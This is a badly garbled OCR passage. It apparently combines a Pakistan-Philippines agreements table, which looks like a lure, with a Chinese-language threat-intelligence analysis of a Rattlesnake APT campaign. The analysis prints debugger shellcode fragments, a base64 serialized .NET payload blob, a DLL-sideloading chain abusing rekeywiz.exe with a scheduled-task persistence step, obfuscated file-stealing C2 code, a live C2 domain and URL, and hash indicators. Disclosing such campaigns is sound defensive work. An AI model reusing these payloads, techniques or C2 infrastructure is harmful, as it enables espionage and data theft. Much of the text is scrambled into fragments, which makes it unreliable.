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Pakistan - Philippines Agreements / MOUs-
S.No.- Name of Agreement/ MOU- Date of Signing~ Status of Implementation~
1. | Air Services Agreement + 1949- On the recommendation of this

Mission, Awiation Division has
proposed a new Air Services
Agreement which has been
shared with the Philippines side,
with a view to upgrade the
Agreement.<

2. | Treaty of Friendship between Pakistan and the 3-1-1951«# Ratified and operational~
Philippines«

3. | Cultural Cooperation Agreements 1961+ Ratified and operational-

4. | Trade Agreement Between Pakistan and the Sep. 1961~ Ratified and operational-
Philippines«

5 | MOU between the Confederation of Philippine 1980+ Ratified and operationale
Exporters and Federation of Pakistan Chambers of
Commerce and Industry. <

6. | Agreement on Avoidance of Double Taxation » 1980+ Ratified and operational-

7. | Memorandum of Inter-Parliamentary Cooperation « 18 February 1995~ | Ratified and operational-

8 |MOU on Combating all forms of criminal acts, Dec.1995~ Ministry of Interior has been
particularly terrorism, transnational crimes and requested to update the Mission
organized crimes. < about the implementation status

of the Mol .~
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ShellCode 94T

ARGHERARIRRIG | %M ShellCodefT , ShellCode & SEHRINENE FIMAPIEA T T,

mov byte ptr [eax],68 |eax:L

mov byte ptr [eax y 4C eax+1 ‘L®
mov byte ptr [eax 1,47 eax+ 7:'G"
mov byte ptr leax+C8]) ,52 eax+C sy 52 'R’
S N
AWK APIEREL.,
| ErEr— ~
Push eds EaY  0GEDAF3G
EBX 75 50000 kerneliz. 75950000
ECX 002715
EDX  000000A4
EBF  0277007C
ESF 438
E51 751 5 AL <kernel k2. GetProcaddr
Ly . - EOI  TS972350 <kernel 32.L080L1Brary
il e : 1.
add byte pir 1s
sale EIP
e EFLAGS
puzh =
CE @

LastError OO0 {ERROR_SUCCESS)
s [eax] LastStatus OODOOBID {STATUS_SUCCESS)

45 0028 FS 0053

El;l.lls:.:';:“ K + ES o028 OS5 0028
'.:.E-“-:EI.EE C5 0023 &5 0028

& §2T1BF

o E37ICD ST(0) OOCI0OOI0OBIOOBIMONE XE7r0 2

E2TICA ST(L) | CRCHCH e =
sub byte prr ds:[edi+64],dn ST} =
jae B2TiEG STCE) =
tmp dn,byte prr FTI4) -
papad g
jae G2719C :
puth ebx w | BHA (zedeall)
T » 1: [esp] 00627115 L mshtmi-

B0

2t [esp4] OO000O

31 [esprB] ADOOOZEF
4t [espec] GBCTFCFR
51 lesorlD] OOOOBILO0

@8 iF RunHTMLA pplacation/INE A TISHIZA

ush eax

Ea‘l'l esi ~

push 0 - B 3 3
push 0 EAX §CF.'E2AD -.nshtm'l.RenHTMLApp'l'lcat'l on
push 0 EBX 75950000 kernel22. 75950000

push o ECX  B4435451

call eax EDX 0000000E

push 0 EBF  0277007C "iEb"

MoV eax, < ®itPro . ESP  0019EAZC

Eall dword ptr ds:[eax] ESI 759705A0 <kernel3z.GetProcAddress>
op EDI 75972350 <kernel32.LoadLibraryw=
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rat(i++)) << 12 | (rl1 = tr. <6 2 4 r.charAt(i++)));

* key.charCodeAt(§)));
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length: 157 e -

"AAEARMADS //f / f AQAAAARAMALEAQAAACTTeXHNBZWOURGY SZWdhdGVT ZXI pYixpemFBalWouSGas ZGVy AwAAMANEZWx 1Z2FBZQdBYXINZXQwB21 1dGhv ZDADAWMWU
31zdGVtLKRLIbGYNYXR1U2VyalF saXphdGlvbkhvbGR1citEZWx1Z2FEZUVUdHISTINS c3R1BSSEZNx1Z2F8ZVN1cmlhbGleYXRpb25TIb2xkZ XIvU3 1zdGVELL]
1Zmx1¥3Rpb24uTWVEYmVySWSmbIN1cmlhbGl6YXRpb25Ib2xkZX I JAgAAAAKDAAAACQQAAAAE AgAAADBT e XNBZWBURGY s ZWdhdGVTZX I pYhix pemFBalouSG9sZ
GVyKBR1bGVNYXRIRWS@CcnkHAARABHRScGUIYVXNZZW1ibHkGdGFyZ 2VBEnRhcmd LAFRS cGVBC3N1bWI seQ58YXInZXRUeXB1TmF tZQpt ZXRob 2ROYIW11DWR 1bGY
NYXR1IRWS@CnNkBAQIBAQEDMFNSCIR1bSSEZWX1Z2FOZVN1cmlhbGleYXRpb25Ib2xkZXIrRGY s ZWdhdGVFbnRy eQYFAAAALINS c3R1bS5SdWEBaW11L1T1bleea
W5nLk11c3NhZ21uZy5IZWFkZXITYWSkbGVYBEYAAABLDXN]b3IsaWIsIFZ1cnipb249Midwl jAUMCwEQ3V sdHVYZT1uZXVecmF s LCBQdWIsaWNLZX1Ub2t1bj1
iNzdhNWMINFESMZR1MDESBE cARAAHAGFyZ 2VAMAKGAAAABEKARAAPU3]1zdGVELKRIDGYNYXR1BgOAAAANRHIUYW1pYBludmOrZQoEAWAAACT TeXNOZWBURGYSZ
WdhdGWTZXIpYlixpemF@aW2uSGo s Gy AwAAAAhEZIx1Z2FOZQdeYXInZXQwB211dGhvZDADBWMWU3 1 zdGVE LkR1bGVNYXR1U2VyakFsaXphdGlvbkhvbGR1cit
EZWx1Z2F@ZUVudHISAIOTeXNBZWeuUmVmbGYjdGlvbiSNZW11ZXIIbmZvU2VyalFsaXphdGlvbkhvbGR1cgk LAAAACQWAAAAIDQAAAAQEAAAALINSC3R1DS55Z
WZsZWN@aW9uLk11bWl1ck LuZmaTZXIpYlixpemF@aWouSGosZGVyBgALMAAROYWLIDEFZC2VEYmxSTMFtZQLDbGFzc@5hbWUIU2 InbmFedXI1Ck11bWI1c1R5CGU
QRZVUZXIpYBFyZ3VtIW58cwEBAQEAAWENU31zdGVELIRSCGVEX QK AARACQYALAAICOAAAAYRAARAL FNScIR1BSEPYmplY30gRH1UYW1pYBludmOr ZShTeXNBZ
WOUT2]qZWNBW1BpCAALAACE CWAAAATAAAAGEEALACEBT eXNBZWOUWG1sL 1IN aGVEYSEY by lx1ZUd 1dHR 1 cgV TAAAATVNE c2R1bS5Ybliws IFZ lenNpb249Mig
WLAUMCWEQ3Vs dHVYZ T1uZXVecmF s LCBQdWI s aWNLZX1Ub2t1bj1iNzdhNWMANESMzR IMDg S BhQAAAAHAGFy Z2VaMAKGAARABhYAAAAGUR] zdGVEL]1 D1 Zmx 1Y
3Rpb24uQXNz ZW11ibHkG FWAAAARMb 2 FkCgSMAAARACAALATNWPAAAWAALRAQAAAD/ [ WAALAAALALALAR AAALASALAALAALASASAALAR LA SASAABARLASASAARALD
AAACAAAAADh+6DECACCcBhuUAFMZSFUaGlzIHByb2dyYWegY2Fubm3@IGI1IHI1biBpbiBET IMgbWOk7 SANDQokARAAAAAAAFBFAABMAQMASEWBXWAAAAAALAAAS
AAITASBMAAAGAAAAAYAAAAAAALONWASACAAAABAALAAAALQACAALAACAAAEALAALALAAAADAAAALAAAAATAALALACAALAAAALANBANQAAEARAEALAAAAQALAQALA
AAAAAEAAAAAAAAAAAALLAYDYALAEBALAAAQALAS ATAALAAALAAAAAAAAALAAAAALAAAY AAADAAAAAAAAALALARALN ALMAAAAMAAAALARAAMALARL
AAAAAAAAAAAAAAAAAAGAAATAALAAALAAAAAALATTAAASALAAALALAAAAAAAL NR] eHQAALAAUFWAAACAAAANYAALAAGAAALANAAALAAAAAAAAAT AMAYCSYCIT JAAA
ASATAAABAAAAABAAAABOAAAAAAAAALAAAAAAMAEALAEAUCTY S b2MAAAWAAAALY ALAAAT AAAAL AAAAAAAAAALALAAALABAAABCAAAAAAAAAALALAAAAALNAPADA
AAARAAASAAAAATABOBAIgAARBAASAEAAAAALAAALAALAAALAAAAAAAAALAAAAAAALALAAAAAAAAALSAALALAAAASAAALLALAASAALALAA+E I vAQAACHBCARAEANT

AALLLAA

start: 1223 time: 2ms

Output pa end: 1342 length: 9232 | |_|:| 23| r

length: 117 lines: 159

/System.Reflection.MemberInfoSerializationHolder . cee

......... /System.Reflection.MembarInfoSerializationHolder. ... .Name.AssemblyName ClassMName Signature
MemberType.GenericArguments.......

System.Type[]

........ ,System.0Object DynamicInvoke(System.Object[])....

.............. System.Xml.Schema.XmlValueGetter
PublicKeyToken=b77a5c561234e@85. . ....targetd

1102 [hdyipxMR(

y = hdyjpxMR(*
I 1;
teh(e) |
o[hJyjpxMR(

StInstaller.dlI5 AT
MD5 5fda277b43aed849b9fb6c5b907e5620
BR8] BEHA7], 10.10.2020 16:48:41 UTC
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R34 5fda277b43aed849b9fb6c5b907e5620

TR E MR ADLLA AStinstaller.dll , NEBIT/EE VA HERRRS M , TWRERFER.

Work

Jinstfolder
.domain

¥ A5 B X THI"C:\Windows\syswow64\rekeywiz.exe"# NE BB HFRKER |, IFHHLRENTMFKRE D
S,

Directory.CreateDirectory(text) |

wt

Z TR TR EE R MENE | BESENEERGERRBRZ M , SETRE  EERHER
NXHFANEIFTR,

i) | . v Computer » Local Disk (C:) » ProgramData » SyncFiles
COrganize « Include in library - Share with - Mew folder
-
N Favorites MName Date modified Type Size
Bl Desktop %) Duser.dll 10/21/2020 5:11 PM  Application extens... 10 KB
4 Downloads || GRpjéw.tmp 10/21/2020 511 PM  TMP File 603 KB
= Recent Places U rekeywiz 7/14/2009 9:14 AM Application 60 KB
rekeywiz.exe 10/21/2020 511 PM XML Configuratic... 1 KB
=l Libraries
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BiE{E%- 4 717 UpdateService” T XIH{ES- P  Trekeywiz.exe

1
i

1. Start () ;

BIEHVTRMESEREW T,

(Y UpdateService Properties (Local Computer) LX)

| General | Triggers| Actions | Conditions I Settings | History (disabled)

When you create a task, you must specify the action that will cccur when your task starts,

Action Details

Start a program C:\ProgramDatatSyncFiles\rekeywiz.exe

4 I I
New.. || Edit. || Delete

QK l l Cancel

Duser.dlI5 4

HASH 740f61933a0546637bfb552a3c5939ae
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B 1A &R EHA7N, 10.10.2020 16:48:33 UTC

rekeywiz.exeT/5 , HEE=RAMNEKE B3R T AIDuser.dll LI 77742 10 B fe£H L0 4 SR K HAfsE FR e 0
BFE , RdIEZIREAMEENERE R T Wmp3L | RERHIT.

[ . tmp "

algorithmChainSingle, 32, array, Aarray.

TF&E SystemApp.dlIS AT
HASH 18c3a87c9bc3c0d57989046f098bfe8d
LRI 51 EHIH, 11.09.2089 06:59:47 UTC

MBI TH R EBACLH RS FTIEDLL |, {BRRZdIBEIN T FEFEY , @I T RERE. PUTREL
MME R ER B K Newtonsoft.Json.dll

Z E NEIRF REAIA AR RECEER.
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[InstanceGetAlterTree,

FetAlterTree 1

RIaa = IZHC:\ProgramData\SyncFiles\Sync X 4 , 2IFRIZEU K MNP 558 LIEHITXHEAN , BA
MBI TREMBFENI A .

[l ChainAdapterddapterFacade

[} arcay = nev B8 (ChainAdaptecidaptesFacade. Length + 32) |

ChainkdapterAdaptorFacade.

[1 InstancetetAlterTres,

ChainAdapterAdapterFacade

[ChainddapteridapterFacade. Length + 32 -

terFacade. 0. array. 32. ChainAdapterAdapterFacade.

i ChainAdapterAdapterFacade

[] InstanceGetAlterTres

Vet RSE | AR E N 2R BB T HITRaKER TR,
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public woid

1

ooo, -13;

. PutProxyProgramProgramShare (appDomain, .Programl . CaptureTred

memoryStream =

.Programl .MementoObserverFlyweightRestore.StrategyProgramAdapterCapture(nen B ter(memoryStream));
array = .CallToArray(memoryStream);

.CallTeString(

.CallIsNullOrEmpty (text))
1 memoryStreaml = ¥ [ »tre .CallFromBase6U4Strin

binaryReader = Bi y tream2);
.returnpnsitiunfnemnr_ySlrearﬂ] <

HWEERBTNESTIRE , EIFTR.
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.Programl.WriteSysInfo();
continue;

.Programl . CompositeDecoratorCaptureComposite();
continue;

.Programl .StateAlgorithmAccessorGet();
continue;
case U:
.Programl . MementoObserverFlyweightRestord. TemplateNullEncapsulatedStructure(binaryReader);
.Programl . MementoObserverFlyweightRestore. ObjectAccessorTreeMediator();
continue;

.Programl . MementoObserverFlyweightRestord. RestrictedProgramNotifyCapture = new Uri(
continue;

.Programl . MementoObserverFlyweightRestore. RestoreCaptureRestrictedInterpreter =
continue;

.Programl . MementoObserverFlyweightRestore. AdapterTemplateInstanceObject = ne ring[
for (int 1 = @; 1 < .Programl . MementoObserverFlyweightRestore. Adaptanemplate]nstanceDbjact Length; i+)
{
.Programl . MementoObserverFlyweightRestore. AdapterTemplateInstanceObject[i] =
1

continue;

.Programl . MementoObserverFlyweightRestore. StrategyAlterBridgeObject =
continue;

3 { I Prngraml MementoObserve
.BridgeAccessorCompositeStateImplementation(list]);

.Programl . MementoObserverf LyweightRestord. AlterChainFlyweightTree. IndexOf(item);

.Programl . MementoObserverFlyweightRestore|. AlterChainFlyweightTree. Add(item);

-Programl . MementoObserverflyweightRestord. AlterChainFlyweightTree[num] . AccessorObjectCaptureData = @
.Programl . MementoObserverFlyweightRestore. AlterChainFlyweightTree[num] . AlgorithmAdapterCompositeFLym:

FMRTESTIREMT

- ThRE

1 RERARGAKRIER , FHAIsonfAEE NI 4 sif XA

2 RER A ZRARTFR A3
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3 BHEE XM UARIEEB A fs3 4

4 BEEREEESSync

5 BB 24tk

6 BEHER LEXHSH

7 BRI A S 2R |, AR office ST /4R
8 WE _EESH R/ NSRS

9 TERE EA&3CH

10 R[]

RIS 252 E B INREA LA aRBUIE B30 1.
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putFacadeNotifyEncapsulated = H
.InterfaceNotifyIteratorGetShare(strategyMediatorClassObjectTterator. DynamicShareProxyDynamic);

.DataDataInterfaceProgramAdapter(text, ".sif"})
.ImplementationStructureInterfaceStrategySingle(text, ".fl
.MediatorInterfaceInterpreterFlyweightAdapter(text, ™.
.ChainCommandDeferhul LFlyweight(text, ".err"))

putFacadeNotifyEncapsulated =

putFacadeNotifyEncapsulated =

.DynamicNotifyEncapsulatedClass(strategyMediatorClassObjectIterator, putFacadeNotifyEncapsulated);

.InterfacelteratorMediatorCompositeCapture(strategyMediatorClassObjectIterator.DynamicShareProxyDynamic);
list.Add(strategyMediatorClassObjectIterator);

requestStructureIteratorGetIterator.BridgeClassNullStrategy = c
. NullFlyweightCompositeMutatorDecorator( .RestoreInterfaceDeferStrategyTemplate(requestStructurelteratorGetIterator));
. NullCompositeGetMediatorAlgorithm( .RequestRequestGetCommandChain(requestStructurelteratorGetIterator), "Con
.DynamicMediatorRequestIteratorPrivate( .ProxyTemplateAccessorotifyStrategy(requestStructureIteratorGetIterator),
proxyCompositeNull = singleShareFacadeSingleComposite(requestStructurelteratorGetIterator);
g sequentialAlterProx File—0ffset";
num2 = NullSingleDecoratorCompesite.AccessorObjectCaptureData;
. InterpreterStructureCaptureStateGet(proxyCompositeNull, sequentialAlterProxy, 1.CommandGetTemplateMediatorPrivat of num2));
interfaceObserverTemplate = .ChainStrategyRestrictedCompositeAdapter(requestStructurelteratorGetIterator);
s g algorithmCompositeFacade File-Length";
num2 = .PrivatePrivateRequestStructureFlyweight(fileStream);
.BridgeAccessorInterpreterflyweightFlyweight(interfaceObserverTemplate, algorithmCompositeFacade, 1. AlterProgramStructureNotifyNull( num2));
if (PutFacadeNotifyEncapsulated % null)
{
.SingleClassRequestPrivateAdapter( .StateChainCaptureRequestGet(requestStructurelteratorGetIterator), "X , PutFacadeNotifyEncapsul

BRIRER

ARFLNHEHE S BIMERT OALPHAY S | SRR L FiE , ABEAERKAT A
I, kB Es P E ARSI R AR S EAR M.
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4 P10 pid=7BT2iCanssleApp Lexe], a2mdll

cdn-sop.net

CAKIEE [T = sER 2) S (2 MBI (D) eI YRR 4 3 0

Cr-A
ImEICAPTAHLAIEF—Hm EiEK , HEEHHRAE SR  XAZERIEANGFNZ , BESLEEAYS

EMERNGFME , FFR%EM , fe—ERE LRI RERN. REEARER , EIREFARIEHIMNE LS
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A REPATRAKIRKBIAEHIT , FSTEIRAIRARARTF . MEIRNEHERXMH , BHRRA
T

EHRIET , REKNABHUINA |, fJBidaREBMEIRFRESITEE
(https://sandbox.ti.gianxin.com/sandbox/page) H{TEIBFF]. BRICXIFEIEWindows, TEFEETENK
LGSR E DT,

B4, BT AREFEMERPONAMBERIENS LS  AESRERMERTS (TIP) | X%,
KRSRAPRNRL, HRENGSOC, SRETHBAS , HEATHN AR,

Al l?_l_-l A

B

. P MR, DRHASHIMDSSHAY) | SRR (SHAY) SIMETRE L

10C
2ba61596f9ec352eebe6e410a25867f6
3ad3ddcle8ada7f6a4fe0800b578eeda
5fda277b43aed849b9fb6c5b907e5620

https://cdn-sop.net/202/wGpmORzIrMtEAvPiWk2eF4gXwOLY sphJ7KTx4Dyg/-1/13856/a042ecbe

SR

https://ti.qgianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-

regions/

R ASCRE AL EBMERTO |, BRAVBRESE TS, XERBNARREERIN S , FMEREN
2335, BEEMETEEES(EE., IAREMN , EEEAR anquanneican@163.com,
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